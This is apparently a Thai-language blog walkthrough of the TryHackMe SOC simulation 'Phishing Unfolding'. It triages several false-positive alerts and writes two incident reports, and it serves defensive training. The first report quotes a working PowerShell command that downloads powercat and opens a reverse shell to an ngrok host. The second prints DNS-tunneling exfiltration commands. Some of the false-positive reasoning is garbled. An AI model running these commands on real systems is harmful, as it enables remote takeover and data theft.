Digital Forensics: Phishing Unfolding | Real Time SOC Analyst Simulation
เนื่องด้วยแอดไม่ค่อยได้ทำ SOC ได้มาลองศึกษาดูใน SOC Simulation รับมือกับความท้าทายพัฒนาทักษะการสืบสวนและเวลาที่มีจำกัด เลยหาเวลามาลองเล่นดู และได้ทำตัวอย่างไว้กลับมาทำทวนต่อไป ดูจากรูปแนวทางการศึกษา
Room URL: https://tryhackme.com/r/soc-sim/scenarios
ขั้นตอนที่ 1: อ่านเอกสารประกอบ
เอกสารประกอบให้ข้อมูลพื้นฐาน:
ทำความเข้าใจสภาพแวดล้อม เช่น เครื่องมือ (SIEM, VM) และการจัดหมวดหมู่การแจ้งเตือน
2. ทำความคุ้นเคยกับคู่มือที่อธิบายกลยุทธ์การตอบสนองต่อรูปแบบการโจมตีทั่วไป เช่น ฟิชชิ่ง มัลแวร์ หรือการเคลื่อนไหว
ค้นหารายละเอียดเกี่ยวกับตัวบ่งชี้การ (IOC) ที่เฉพาะเจาะจงและแนวทางปฏิบัติที่ดีที่สุดสำหรับการแยกแยะระหว่าง True Positive และ False Positive
ภาพรวมสถานการณ์
เจาะลึกการโจมตีแบบฟิชชิ่งที่เกิดขึ้นจริงในเครือข่ายองค์กร ในสถานการณ์ที่กดดันสูงนี้ บทบาทของคุณคือวิเคราะห์และบันทึกแต่ละขั้นตอนของการโจมตีอย่างละเอียดถี่ถ้วนในขณะที่เกิดขึ้น
คุณสามารถรวบรวมห่วงโซ่การโจมตีแบบเรียลไทม์และจัดทำรายงานที่ครอบคลุมเกี่ยวกับกิจกรรมที่เป็นอันตรายได้หรือไม่
วัตถุประสงค์ของสถานการณ์
ตรวจสอบและวิเคราะห์การแจ้งเตือนแบบเรียลไทม์ในขณะที่เกิดการโจมตี ระบุและบันทึกเหตุการณ์สำคัญ เช่น การดำเนินการของ PowerShell การเชื่อมต่อเชลล์ย้อนกลับ และคำขอ DNS ที่น่าสงสัย
สร้างรายงานกรณีโดยละเอียดตามการสังเกตของคุณเพื่อช่วยให้ทีมเข้าใจขอบเขตทั้งหมดของการละเมิด
ตัวอย่าง 1. False Positive
ทำการเช็ค IP address และ hostname
Ans: The unusual domain of the sender isn't malicious. It matches
the original dns name of Tryhatme, tryhatme.com.
The recipient domain, @hasontherise.online, was also
determined not to be malicious.
The email didn't contain any attachment.
ตัวอย่าง 2. False Positive
sender: sharp@hatsontherise.online
recipient: miguel.odonnell@tryhatme.com
attachment: None
Ans: Both sender and recipient's domains look fine. no
Attachments.
ตัวอย่าง 3. False Positive
Ans:The main sender domain isn't
malicious.it matched the original dns name of Yahoo.com,
the sender ,connor@yahoo.co, didn't include any attachment
in the email
ตัวอย่าง 4. False Positive
Ans: after investigation the relationship between the mentioned processes is
normal. the alert are system processes executing regular non-malicious command.
ตัวอย่าง 5. False Positive
Subject: You've Won a Free Trip to Hat Wonderland - Click Here to Claim
sender: boone@hatventuresworldwide.online
recipient: miguel.odonnell@tryhatme.com
attachment: None
Ans:The main sender domain isn't malicious. it matched the original dns
name of hatventuresworldwide.online .com, the recipient: , @tryhatme.com,
didn't include any attachment in the email
ตัวอย่าง 6. True Positive
สำหรับแนวทางการตอบกรณี True Positive
1. การระบุภัยคุกคามอย่างมีประสิทธิภาพและการบันทึกการดาวน์โหลดไฟล์ที่น่าสงสัยและการดำเนินการคำสั่ง PowerShell ที่เป็นอันตราย
2. การจับภาพเหตุการณ์ 'Who' 'What' 'When และ 'Where' อย่างชัดเจนและแม่นยำ โดยให้แน่ใจว่าได้จดบันทึกรายละเอียดที่สำคัญ
3. ปฏิบัติตามโปรโตคอลและนโยบายของบริษัท
โดยเฉพาะอย่างยิ่งในการตอบสนองต่อการดาวน์โหลดแอปพลิเคชันที่ไม่ได้รับอนุญาต ให้คำอธิบายที่ชัดเจนและละเอียดเกี่ยวกับเหตุผลที่กิจกรรมถูกจัดประเภทเป็นบวกจริง
- อธิบายอย่างชัดเจนว่าเหตุใดการแจ้งเตือนจึงต้องยกระดับ และต้องดำเนินการแก้ไขใดบ้าง
- ระบุหน่วยงานที่เกี่ยวข้องกับกิจกรรมที่ตรวจพบโดยการแจ้งเตือน:
- ระบุว่าใครหรือสิ่งใดได้รับผลกระทบ
- ระบุว่ากิจกรรมเกิดขึ้นที่ใด
- ชี้แจงว่ากิจกรรมเกิดขึ้นเมื่อใด
- ระบุ IOC ทั้งหมดที่เกี่ยวข้องกับกิจกรรม:
- ตัวบ่งชี้เครือข่าย: ที่อยู่ IP พอร์ต โดเมน URL ฯลฯ
- ตัวบ่งชี้โฮสต์: ชื่อไฟล์ เส้นทางไฟล์ แฮช ลายเซ็น ฯลฯ
- ระบุว่าผู้ก่อภัยคุกคามพยายามบรรลุเป้าหมายใด
- (ทางเลือก) ระบุว่ากิจกรรมเกี่ยวข้องกับเทคนิคหรือกลวิธี MITRE ใด
Ans: Malicious
Process Investigation Report
Phishing
Email with Malicious LNK Attachment Leading to PowerShell Reverse Shell
1.
Incident Overview
On April 7, 2025, a phishing email
containing a malicious ZIP attachment was delivered to michael.ascot@tryhatme.com. The
attachment, ImportantInvoice-Febrary.zip
, disguised a Windows
Shortcut (LNK) file as a PDF document. When executed, the LNK file triggered a
PowerShell reverse shell to a Command-and-Control (C2) server via ngrok, enabling potential
remote system compromise.
·
Who: SSF\michael.ascot (Legal Department)
·
What: Executed a malicious PowerShell command via .lnk file in a ZIP attachment
·
When:
· Where: Host win-3450
This is a confirmed True Positive
based on:
- A malicious email attachment masquerading as a
legitimate document (invoice.pdf.lnk inside ImportantInvoice-Febrary.zip)
- Execution of PowerShell with obfuscated command to download and run powercat.ps1,
a known reverse shell tool
- C2 (Command-and-Control) connection attempt to 2.tcp.ngrok.io on port 19282, which is characteristic of attacker infrastructure
Such behavior is consistent with
known phishing-to-C2 attack chains, typically observed in initial access
and post-exploitation stages of modern cyberattacks.
2.
Key Event Timeline
Timestamp
|
Activity
|
04/07/2025 02:42:31.113
|
Email received: Important: Pending
Invioce! with attachment ImportantInvoice-Febrary.zip .
|
04/07/2025 03:08:06.113
|
Malicious PowerShell executed on win-3450,
establishing reverse shell to 2.tcp.ngrok.io:19282 .
|
3.
Technical Analysis
🔴 Malicious Email
& Attachment
·
Sender: john@hatmakereurope.xyz
(Domain: hatmakereurope.xyz
).
·
Attachment: ImportantInvoice-Febrary.zip
containing invoice.pdf.lnk
.
o LNK File Masquerading: Exploits Windows
Explorer’s default "hide file extensions" setting to disguise as a
PDF.
o LNK Payload: Triggers PowerShell
to download and execute PowerCat, a penetration testing tool repurposed for reverse shells.
🔴 PowerShell Execution
·
Command Line:
powershell
Copy
powershell.exe -c IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -e powershell
o Behavior:
1.
Downloads powercat.ps1
from GitHub
(legitimate repository abused for malware delivery).
2.
Executes a reverse shell to 2.tcp.ngrok.io:19282
, bypassing firewalls via ngrok’s tunneling service.
🔴 Post-Execution
Activity
·
Process Termination: Stop-Process
command used to kill existing PowerShell instances (PID
associated with powershell.exe
), likely to evade
detection.
·
C2 Communication: Encrypted reverse shell provides attacker with remote control
over win-3450.
4.
MITRE ATT&CK® Mapping
Tactic
|
Technique
|
Description
|
Initial Access
|
T1566.001 (Phishing: Spearphishing Attachment)
|
Malicious LNK file sent via email.
|
Execution
|
T1059.001 (PowerShell)
|
Execution of malicious PowerShell script.
|
Command & Control
|
T1573.001 (Encrypted Channel)
|
Reverse shell over ngrok (SSL/TLS).
|
Defense Evasion
|
T1036.005 (Masquerading: Match Legitimate Name)
|
LNK file disguised as PDF.
|
Exfiltration
|
T1041 (Exfiltration Over C2 Channel)
|
Data theft via reverse shell.
|
5.
Indicators of Compromise (IoCs)
·
File Hashes (Submit to VirusTotal):
o ImportantInvoice-Febrary.zip
(MD5/SHA1).
o invoice.pdf.lnk
(MD5/SHA1).
·
Domains/IPs:
o Domain:
hatmakereurope.xyz
(phishing
sender)
o 2.tcp.ngrok.io:19282
(C2 server).
o Download
URL: raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
.
·
Host Artifacts:
o File
Name: invoice.pdf.lnk
(inside ZIP)
o Attachment:
ImportantInvoice-Febrary.zip
o Script:
powercat.ps1
(downloaded and executed)
o PowerShell
Command: (see above)
o Host:
win-3450
o User:
SSF\michael.ascot
o PowerShell process
spawned from C:\Users\michael.ascot\downloads\
.
Why Escalation is Required & Recommended
Remediation
⚠️ Escalation Justification:
- Email
involved social
engineering (phishing)
- Executed
file led to reverse
shell access giving attackers remote control
- Attempted
connection to an external C2 server
- High risk
of privilege escalation, data exfiltration, or lateral movement
6.
Recommended Actions
🛡️
Immediate Response
1.
Isolate Host win-3450 from the network to prevent
lateral movement.
2.
Perform full disk and
memory forensic analysis to assess further compromise.
3.
Terminate Active PowerShell Processes:
o Identify and kill all
suspicious powershell.exe
instances.
4.
Block IoCs:
o Firewall rules to
block ngrok.io
domains and GitHub raw content.
5.
Reset Credentials: For user michael.ascot
and related
accounts.
6.
Search email systems
for similar phishing campaigns and block hatmakereurope.xyz
.
7.
Implement mail
filtering rules to block suspicious file extensions (e.g., .lnk
inside .zip
).
🔍 Forensic
Investigation
1.
Analyze LNK File: Extract metadata and PowerShell commands.
2.
Review PowerShell Logs:
o Check Microsoft-Windows-PowerShell/Operational
for script
execution history.
3.
Inspect Network Traffic:
o Look for connections
to ngrok.io
and data exfiltration.
4.
Memory Forensics: Identify injected code or additional payloads.
⚙️ Long-Term
Mitigation
- Block access to known malicious infrastructure such as 2.tcp.ngrok.io.
2.
Disable LNK File Execution via Group
Policy.
3.
Enable File Extension Visibility: Disable "hide
extensions" in Windows.
4.
Restrict PowerShell: Use Constrained Language Mode and
logging.
5.
User Training: Educate on phishing tactics and file extension risks.
7.
Conclusion
This
incident represents a high-severity compromise combining phishing, LNK file
abuse, and PowerShell-based C2 activity. The use of ngrok for tunneling
highlights attacker efforts to bypass network defenses. Immediate containment
and eradication are critical to prevent data theft or further exploitation.
Next
Steps:
·
Perform disk imaging of win-3450
for deep forensic analysis.
·
Hunt for lateral movement using powercat
or similar tools.
·
Update email security to flag .zip
attachments from unrecognized domains.
ตัวอย่าง 7. True Positive
Ans:
Malicious Process Investigation Report
Multi-Stage Data Exfiltration Campaign via
Network Drive & DNS Tunneling
1. Incident Overview
On April 9, 2025, host win-3450 (user michael.ascot)
exhibited a series of suspicious activities involving PowerShell-driven
network drive manipulation, DNS
tunneling, and file staging,
indicating a coordinated data exfiltration campaign. The activity was detected
via Sysmon and involved multiple defense evasion tactics.
2. True Positive Classification
This activity is classified as a True Positive due
to:
- Behavioral Chain: A clear
sequence of malicious actions:
2.
- Staging Files: Creation
of
exfilt8me.zip
and
PowerShell script __PSScriptPolicyTest_b1baaotg.vsb.ps1
.
- Network Drive Mapping:
Access to
\\FILESRV-01\SSF-FinancialRecords
(financial
data).
- DNS Tunneling:
nslookup.exe
querying
a domain with a Base64-encoded
subdomain (8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv
).
- Cleanup: Immediate drive
deletion post-exfiltration.
- Parent-Child Anomaly: All
activities spawned from PowerShell
(PID: 3728), atypical for standard workflows.
3. Escalation Rationale & Remediation
Actions
Why Escalate?
- Data Theft Risk: Access
to
SSF-FinancialRecords
suggests financial data exfiltration.
- DNS Tunneling: Use of
encoded subdomains indicates C2
communication or data
exfiltration over DNS.
- Defense Evasion: Rapid
drive mapping/deletion and script creation in
AppData\Local\Temp
to
evade detection.
Remediation Actions
✅ Immediate Response:
- Isolate win-3450 to
prevent further data access.
- Terminate PowerShell (PID: 3728) and
child processes (
net.exe
, nslookup.exe
).
- Reset Credentials for michael.ascot and
audit privileged accounts.
✅ Forensic Investigation:
- Analyze exfilt8me.zip and
__PSScriptPolicyTest_*.ps1
for
malware/scripts.
- Review DNS Logs for
queries to
haz4rdw4re.io
and
decode 8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv
.
- Check \\FILESRV-01\ for
unauthorized access or data tampering.
✅ Long-Term Mitigation:
- Block haz4rdw4re.io at
DNS/firewall level.
- Restrict PowerShell via
Group Policy (Constrained Language Mode).
- Monitor Network Drive Activity for
abnormal mappings.
4. Entities Involved
EntityDetails
Affected Host
win-3450
User Account
michael.ascot
Malicious Processes
PowerShell (PID: 3728), net.exe (PIDs: 5784, 8004), nslookup.exe (PID: 3952)
Network Share
\\FILESRV-01\SSF-FinancialRecords
Suspicious Domain
8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv.haz4rdw4re.io
(Base64-encoded
subdomain)
5. Indicators of Compromise (IoCs)
Network Indicators
TypeValue
Domain
haz4rdw4re.io
Encoded Subdomain
8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv
(decodes
to "ClientPortfolio")
Host Indicators
TypeValue
File Path
C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip
Script Path
C:\Users\michael.ascot\AppData\Local\Temp\5\__PSScriptPolicyTest_b1baaotg.vsb.ps1
Command Line
net.exe use Z:
\\FILESRV-01\SSF-FinancialRecords
Command Line
nslookup.exe 8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv.haz4rdw4re.io
6. Threat Actor Goals
- Data Exfiltration: Steal
financial records from
SSF-FinancialRecords
.
- C2 Communication: Use DNS
tunneling for covert command execution.
- Defense Evasion: Delete
network drive traces and hide scripts in temp folders.
7. MITRE ATT&CK® Mapping
TacticTechniqueID
Exfiltration
T1048 (Exfiltration Over Alternative Protocol)
DNS tunneling
Defense Evasion
T1070.004 (File Deletion)
net.exe use Z: /delete
Execution
T1059.001 (PowerShell)
Script execution
Command & Control
T1568.002 (DNS Calculation)
Encoded DNS queries
8. Things Done Well
- Effective Threat Identification:
- Correlation
of network drive activity, DNS anomalies, and script creation.
- Flagging
Base64-encoded DNS subdomains as suspicious.
- Comprehensive Documentation:
- Clear
capture of Who (michael.ascot), What (exfiltration
chain), When (timestamps),
and Where (host:
win-3450).
- Policy Adherence:
- Blocking
non-malicious email (
elle@gmail.com
)
after verification, avoiding false positives.
9. Conclusion
This activity represents a high-confidence True
Positive involving a sophisticated data exfiltration
campaign. Immediate containment, credential rotation, and forensic analysis are
critical to mitigate financial and reputational risks.
Next Steps:
- Decode
Base64 subdomain to identify exfiltrated data.
- Audit
SSF-FinancialRecords
for
unauthorized access.
- Implement
DNS query inspection for encoded subdomains.
ขออภัยเนื่องจากแอดมินอาจเขียนไม่ละเอียดเนื่องจากติดงานเลย เขียนข้อมูลค้างไว้ก่อนแล้วจะกลับมาเพิ่มเติมต่อไปครับ
ที่มา:TryHackMe
หมายเหตุ:เนื้อหาในเว็บไซต์นี้มีขึ้นเพื่อวัตถุประสงค์ในการให้ข้อมูล เผยแพร่ความรู้และให้โอกาสในการค้นคว้าหาข้อมูลเพื่อการศึกษา บุคคลที่สนใจโดยทั่วไป รวมถึงนักเรียน นิสิต นักศึกษา ในการเรียนรู้เท่านั้น
* หากมีข้อมูลข้อผิดพลาดประการใด ขออภัยมา ณ ที่นี้ด้วย รบกวนแจ้ง Admin เพื่อแก้ไขต่อไป
ขอบคุณครับ
#WINDOWSFORENSIC #COMPUTERFORENSICS #DFIR #FORENSICS #DIGITALFORENSICS #COMPUTERFORENSIC #INVESTIGATION #CYBERCRIME #FRAUD